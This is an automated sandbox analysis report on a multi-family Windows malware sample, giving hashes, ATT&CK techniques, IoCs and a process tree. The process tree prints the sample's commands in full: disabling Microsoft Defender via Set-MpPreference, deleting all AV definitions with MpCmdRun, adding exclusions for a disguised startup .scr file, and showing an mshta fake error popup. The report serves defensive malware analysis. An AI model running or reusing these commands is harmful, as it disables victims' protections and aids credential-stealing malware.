b933a4a512e3d332de8ba80136f33fffdf2e94c84be970ca63da4abe9d1d69fb

Analysis

max time kernel
150s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/08/2026, 03:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
Size 25.0MB
Sample260802-d5kw2scp21
SHA256 b933a4a512e3d332de8ba80136f33fffdf2e94c84be970ca63da4abe9d1d69fb
MD5 142dfaf644898a44c8c218d9987acb75
SHA1 d8e79eae0d868106f14d866292fe895cd335bf99
SHA512 c2a94b9e8632bedf02a872666aea4843bc09a6565a7ae1012e0f9ad3969088b14374d2c4e1da2fdbf8a38d1fb35d14dd01802e34fe55dc25a8cf3f07aa8c580d
SSDEEP 98304:5xSi8x9XQsCurErvz81LpWjjUa50ZtPvYRt2e4GFNGjfzfbIbApJo4EAKhOC112N:54P9VCurErvI9pWjgfPvzm6gsFE14A6
TLSH
T1D947339263650E74F4AA013D89B5D517EBB2B86603A4C29B03F453532F037DA8E3E75B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4544	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2488	powershell.exe
5792	powershell.exe
4612	powershell.exe
4940	powershell.exe
4612	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2488	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3316	cmd.exe
3796	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4728	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 4 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1500	tasklist.exe
2852	tasklist.exe
4984	tasklist.exe
6008	tasklist.exe

UPX packed file 62 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c508-21.dat	upx
behavioral2/memory/2276-24-0x00007FFC48020000-0x00007FFC48612000-memory.dmp	upx
behavioral2/files/0x000d00000001c4f7-27.dat	upx
behavioral2/memory/2276-30-0x00007FFC5ED60000-0x00007FFC5ED84000-memory.dmp	upx
behavioral2/files/0x000d00000001c504-31.dat	upx
behavioral2/memory/2276-32-0x00007FFC5ED50000-0x00007FFC5ED5F000-memory.dmp	upx
behavioral2/files/0x000d00000001c503-34.dat	upx
behavioral2/files/0x000d00000001c506-35.dat	upx
behavioral2/files/0x000d00000001c4f6-41.dat	upx
behavioral2/files/0x000d00000001c500-48.dat	upx
behavioral2/files/0x000d00000001c4fe-47.dat	upx
behavioral2/files/0x000d00000001c4fd-46.dat	upx
behavioral2/files/0x000d00000001c4fc-45.dat	upx
behavioral2/files/0x000d00000001c4fa-44.dat	upx
behavioral2/files/0x000d00000001c4f9-43.dat	upx
behavioral2/files/0x000d00000001c4f8-42.dat	upx
behavioral2/files/0x000d00000001c50d-40.dat	upx
behavioral2/files/0x000d00000001c50c-39.dat	upx
behavioral2/files/0x000d00000001c50b-38.dat	upx
behavioral2/memory/2276-54-0x00007FFC5ED20000-0x00007FFC5ED4D000-memory.dmp	upx
behavioral2/memory/2276-58-0x00007FFC5ECD0000-0x00007FFC5ECF3000-memory.dmp	upx
behavioral2/memory/2276-56-0x00007FFC5ED00000-0x00007FFC5ED19000-memory.dmp	upx
behavioral2/memory/2276-60-0x00007FFC4B560000-0x00007FFC4B6DE000-memory.dmp	upx
behavioral2/memory/2276-62-0x00007FFC5ECB0000-0x00007FFC5ECC9000-memory.dmp	upx
behavioral2/memory/2276-64-0x00007FFC5ECA0000-0x00007FFC5ECAD000-memory.dmp	upx
behavioral2/memory/2276-66-0x00007FFC5EC60000-0x00007FFC5EC93000-memory.dmp	upx
behavioral2/memory/2276-71-0x00007FFC53C20000-0x00007FFC53CED000-memory.dmp	upx
behavioral2/memory/2276-70-0x00007FFC48020000-0x00007FFC48612000-memory.dmp	upx
behavioral2/memory/2276-74-0x00007FFC5ED60000-0x00007FFC5ED84000-memory.dmp	upx
behavioral2/memory/2276-76-0x00007FFC5EC40000-0x00007FFC5EC54000-memory.dmp	upx
behavioral2/memory/2276-78-0x00007FFC5ED20000-0x00007FFC5ED4D000-memory.dmp	upx
behavioral2/memory/2276-79-0x00007FFC5CA80000-0x00007FFC5CA8D000-memory.dmp	upx
behavioral2/memory/2276-84-0x00007FFC53320000-0x00007FFC5343C000-memory.dmp	upx
behavioral2/memory/2276-73-0x00007FFC47AF0000-0x00007FFC48019000-memory.dmp	upx
behavioral2/memory/2276-85-0x00007FFC5ECD0000-0x00007FFC5ECF3000-memory.dmp	upx
behavioral2/memory/2276-103-0x00007FFC4B560000-0x00007FFC4B6DE000-memory.dmp	upx
behavioral2/memory/2276-106-0x00007FFC5ECB0000-0x00007FFC5ECC9000-memory.dmp	upx
behavioral2/memory/2276-169-0x00007FFC5ECA0000-0x00007FFC5ECAD000-memory.dmp	upx
behavioral2/memory/2276-203-0x00007FFC5EC60000-0x00007FFC5EC93000-memory.dmp	upx
behavioral2/memory/2276-212-0x00007FFC53C20000-0x00007FFC53CED000-memory.dmp	upx
behavioral2/memory/2276-218-0x00007FFC48020000-0x00007FFC48612000-memory.dmp	upx
behavioral2/memory/2276-233-0x00007FFC47AF0000-0x00007FFC48019000-memory.dmp	upx
behavioral2/memory/2276-219-0x00007FFC5ED60000-0x00007FFC5ED84000-memory.dmp	upx
behavioral2/memory/2276-302-0x00007FFC5ED60000-0x00007FFC5ED84000-memory.dmp	upx
behavioral2/memory/2276-301-0x00007FFC48020000-0x00007FFC48612000-memory.dmp	upx
behavioral2/memory/2276-307-0x00007FFC4B560000-0x00007FFC4B6DE000-memory.dmp	upx
behavioral2/memory/2276-352-0x00007FFC48020000-0x00007FFC48612000-memory.dmp	upx
behavioral2/memory/2276-386-0x00007FFC5ED00000-0x00007FFC5ED19000-memory.dmp	upx
behavioral2/memory/2276-385-0x00007FFC5ED20000-0x00007FFC5ED4D000-memory.dmp	upx
behavioral2/memory/2276-393-0x00007FFC47AF0000-0x00007FFC48019000-memory.dmp	upx
behavioral2/memory/2276-396-0x00007FFC53320000-0x00007FFC5343C000-memory.dmp	upx
behavioral2/memory/2276-395-0x00007FFC5CA80000-0x00007FFC5CA8D000-memory.dmp	upx
behavioral2/memory/2276-394-0x00007FFC5EC40000-0x00007FFC5EC54000-memory.dmp	upx
behavioral2/memory/2276-392-0x00007FFC53C20000-0x00007FFC53CED000-memory.dmp	upx
behavioral2/memory/2276-397-0x00007FFC48020000-0x00007FFC48612000-memory.dmp	upx
behavioral2/memory/2276-388-0x00007FFC4B560000-0x00007FFC4B6DE000-memory.dmp	upx
behavioral2/memory/2276-391-0x00007FFC5EC60000-0x00007FFC5EC93000-memory.dmp	upx
behavioral2/memory/2276-390-0x00007FFC5ECA0000-0x00007FFC5ECAD000-memory.dmp	upx
behavioral2/memory/2276-389-0x00007FFC5ECB0000-0x00007FFC5ECC9000-memory.dmp	upx
behavioral2/memory/2276-387-0x00007FFC5ECD0000-0x00007FFC5ECF3000-memory.dmp	upx
behavioral2/memory/2276-384-0x00007FFC5ED50000-0x00007FFC5ED5F000-memory.dmp	upx
behavioral2/memory/2276-383-0x00007FFC5ED60000-0x00007FFC5ED84000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 30 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4532	cmd.exe
2068	cmd.exe
4528	cmd.exe
1108	cmd.exe
5496	cmd.exe
3872	cmd.exe
5968	cmd.exe
5928	cmd.exe
2612	cmd.exe
3816	cmd.exe
5056	cmd.exe
3260	cmd.exe
1644	cmd.exe
3664	cmd.exe
2228	cmd.exe
5748	cmd.exe
4840	cmd.exe
4848	cmd.exe
2624	cmd.exe
2548	cmd.exe
4752	cmd.exe
2792	cmd.exe
1528	cmd.exe
5484	cmd.exe
6000	cmd.exe
988	cmd.exe
2076	cmd.exe
4160	cmd.exe
2420	cmd.exe
2824	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4528	cmd.exe
4660	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1320	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4112	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
2488	powershell.exe
2488	powershell.exe
4612	powershell.exe
4612	powershell.exe
4940	powershell.exe
4940	powershell.exe
2488	powershell.exe
2488	powershell.exe
4940	powershell.exe
1636	WMIC.exe
1636	WMIC.exe
1636	WMIC.exe
1636	WMIC.exe
4612	powershell.exe
3796	powershell.exe
3796	powershell.exe
2088	powershell.exe
2088	powershell.exe
3796	powershell.exe
2088	powershell.exe
5792	powershell.exe
5792	powershell.exe
5792	powershell.exe
5776	powershell.exe
5776	powershell.exe
5776	powershell.exe
1364	WMIC.exe
1364	WMIC.exe
1364	WMIC.exe
1364	WMIC.exe
3568	WMIC.exe
3568	WMIC.exe
3568	WMIC.exe
3568	WMIC.exe
1972	WMIC.exe
1972	WMIC.exe
1972	WMIC.exe
1972	WMIC.exe
4612	powershell.exe
4612	powershell.exe
4612	powershell.exe
1320	WMIC.exe
1320	WMIC.exe
1320	WMIC.exe
1320	WMIC.exe
3060	powershell.exe
3060	powershell.exe
3060	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	4612	powershell.exe
Token: SeDebugPrivilege	6008	tasklist.exe
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeDebugPrivilege	1500	tasklist.exe
Token: SeIncreaseQuotaPrivilege	1636	WMIC.exe
Token: SeSecurityPrivilege	1636	WMIC.exe
Token: SeTakeOwnershipPrivilege	1636	WMIC.exe
Token: SeLoadDriverPrivilege	1636	WMIC.exe
Token: SeSystemProfilePrivilege	1636	WMIC.exe
Token: SeSystemtimePrivilege	1636	WMIC.exe
Token: SeProfSingleProcessPrivilege	1636	WMIC.exe
Token: SeIncBasePriorityPrivilege	1636	WMIC.exe
Token: SeCreatePagefilePrivilege	1636	WMIC.exe
Token: SeBackupPrivilege	1636	WMIC.exe
Token: SeRestorePrivilege	1636	WMIC.exe
Token: SeShutdownPrivilege	1636	WMIC.exe
Token: SeDebugPrivilege	1636	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1636	WMIC.exe
Token: SeRemoteShutdownPrivilege	1636	WMIC.exe
Token: SeUndockPrivilege	1636	WMIC.exe
Token: SeManageVolumePrivilege	1636	WMIC.exe
Token: 33	1636	WMIC.exe
Token: 34	1636	WMIC.exe
Token: 35	1636	WMIC.exe
Token: 36	1636	WMIC.exe
Token: SeDebugPrivilege	2852	tasklist.exe
Token: SeDebugPrivilege	3796	powershell.exe
Token: SeIncreaseQuotaPrivilege	1636	WMIC.exe
Token: SeSecurityPrivilege	1636	WMIC.exe
Token: SeTakeOwnershipPrivilege	1636	WMIC.exe
Token: SeLoadDriverPrivilege	1636	WMIC.exe
Token: SeSystemProfilePrivilege	1636	WMIC.exe
Token: SeSystemtimePrivilege	1636	WMIC.exe
Token: SeProfSingleProcessPrivilege	1636	WMIC.exe
Token: SeIncBasePriorityPrivilege	1636	WMIC.exe
Token: SeCreatePagefilePrivilege	1636	WMIC.exe
Token: SeBackupPrivilege	1636	WMIC.exe
Token: SeRestorePrivilege	1636	WMIC.exe
Token: SeShutdownPrivilege	1636	WMIC.exe
Token: SeDebugPrivilege	1636	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1636	WMIC.exe
Token: SeRemoteShutdownPrivilege	1636	WMIC.exe
Token: SeUndockPrivilege	1636	WMIC.exe
Token: SeManageVolumePrivilege	1636	WMIC.exe
Token: 33	1636	WMIC.exe
Token: 34	1636	WMIC.exe
Token: 35	1636	WMIC.exe
Token: 36	1636	WMIC.exe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	4984	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4612	powershell.exe
Token: SeSecurityPrivilege	4612	powershell.exe
Token: SeTakeOwnershipPrivilege	4612	powershell.exe
Token: SeLoadDriverPrivilege	4612	powershell.exe
Token: SeSystemProfilePrivilege	4612	powershell.exe
Token: SeSystemtimePrivilege	4612	powershell.exe
Token: SeProfSingleProcessPrivilege	4612	powershell.exe
Token: SeIncBasePriorityPrivilege	4612	powershell.exe
Token: SeCreatePagefilePrivilege	4612	powershell.exe
Token: SeBackupPrivilege	4612	powershell.exe
Token: SeRestorePrivilege	4612	powershell.exe
Token: SeShutdownPrivilege	4612	powershell.exe
Token: SeDebugPrivilege	4612	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 2276	4860	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	89
PID 2276 wrote to memory of 2624	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	90
PID 2276 wrote to memory of 4840	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	91
PID 2276 wrote to memory of 5748	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	92
PID 2276 wrote to memory of 5968	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	96
PID 4840 wrote to memory of 2488	4840	cmd.exe	98
PID 2276 wrote to memory of 5056	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	99
PID 2276 wrote to memory of 5928	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	101
PID 5968 wrote to memory of 4940	5968	cmd.exe	103
PID 2624 wrote to memory of 4612	2624	cmd.exe	104
PID 2276 wrote to memory of 2420	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	105
PID 5056 wrote to memory of 6008	5056	cmd.exe	106
PID 5928 wrote to memory of 1500	5928	cmd.exe	108
PID 2276 wrote to memory of 3316	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	109
PID 5748 wrote to memory of 1352	5748	cmd.exe	111
PID 2276 wrote to memory of 5484	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	112
PID 2420 wrote to memory of 1636	2420	cmd.exe	115
PID 3316 wrote to memory of 3796	3316	cmd.exe	116
PID 5484 wrote to memory of 2852	5484	cmd.exe	117
PID 2276 wrote to memory of 2612	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	118
PID 2276 wrote to memory of 4528	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	119
PID 2276 wrote to memory of 2548	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	121
PID 2276 wrote to memory of 4752	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	123
PID 2276 wrote to memory of 3328	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	125
PID 4528 wrote to memory of 4660	4528	cmd.exe	128
PID 2612 wrote to memory of 2992	2612	cmd.exe	129
PID 2548 wrote to memory of 4112	2548	cmd.exe	130
PID 3328 wrote to memory of 2088	3328	cmd.exe	131
PID 4752 wrote to memory of 4080	4752	cmd.exe	132
PID 2276 wrote to memory of 4160	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	133
PID 4160 wrote to memory of 5420	4160	cmd.exe	135
PID 2088 wrote to memory of 1608	2088	powershell.exe	136
PID 2276 wrote to memory of 1108	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	137
PID 2276 wrote to memory of 6000	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	139
PID 6000 wrote to memory of 6016	6000	cmd.exe	141
PID 1108 wrote to memory of 2096	1108	cmd.exe	142
PID 2276 wrote to memory of 2824	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	143
PID 2276 wrote to memory of 2792	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	144
PID 2824 wrote to memory of 3676	2824	cmd.exe	168
PID 2792 wrote to memory of 3664	2792	cmd.exe	167
PID 2276 wrote to memory of 4532	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	149
PID 2276 wrote to memory of 2068	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	151
PID 4532 wrote to memory of 4496	4532	cmd.exe	153
PID 2068 wrote to memory of 4984	2068	cmd.exe	154
PID 2276 wrote to memory of 988	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	155
PID 1608 wrote to memory of 3396	1608	csc.exe	156
PID 988 wrote to memory of 5908	988	cmd.exe	159
PID 2276 wrote to memory of 3260	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	160
PID 3260 wrote to memory of 4968	3260	cmd.exe	190
PID 4840 wrote to memory of 4544	4840	cmd.exe	163
PID 2276 wrote to memory of 1644	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	164
PID 1644 wrote to memory of 5792	1644	cmd.exe	166
PID 2276 wrote to memory of 3664	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	167
PID 3664 wrote to memory of 5776	3664	cmd.exe	169
PID 2276 wrote to memory of 5496	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	170
PID 5496 wrote to memory of 4728	5496	cmd.exe	173
PID 2276 wrote to memory of 3816	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	174
PID 3816 wrote to memory of 1364	3816	cmd.exe	176
PID 2276 wrote to memory of 3872	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	177
PID 3872 wrote to memory of 3568	3872	cmd.exe	179
PID 2276 wrote to memory of 4848	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	180
PID 4848 wrote to memory of 1972	4848	cmd.exe	182
PID 2276 wrote to memory of 2228	2276	2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	183
PID 2228 wrote to memory of 4612	2228	cmd.exe	185

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2096	attrib.exe
3664	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-02_142dfaf644898a44c8c218d9987acb75_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2488
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The application failed to start correctly (0xc000007b). Click OK to close the application', 0, 'Application error', 0+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5748
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The application failed to start correctly (0xc000007b). Click OK to close the application', 0, 'Application error', 0+16);close()"
      4⤵
      PID:1352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5968
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4940
- - C:\Windows\system32\cmd.exe
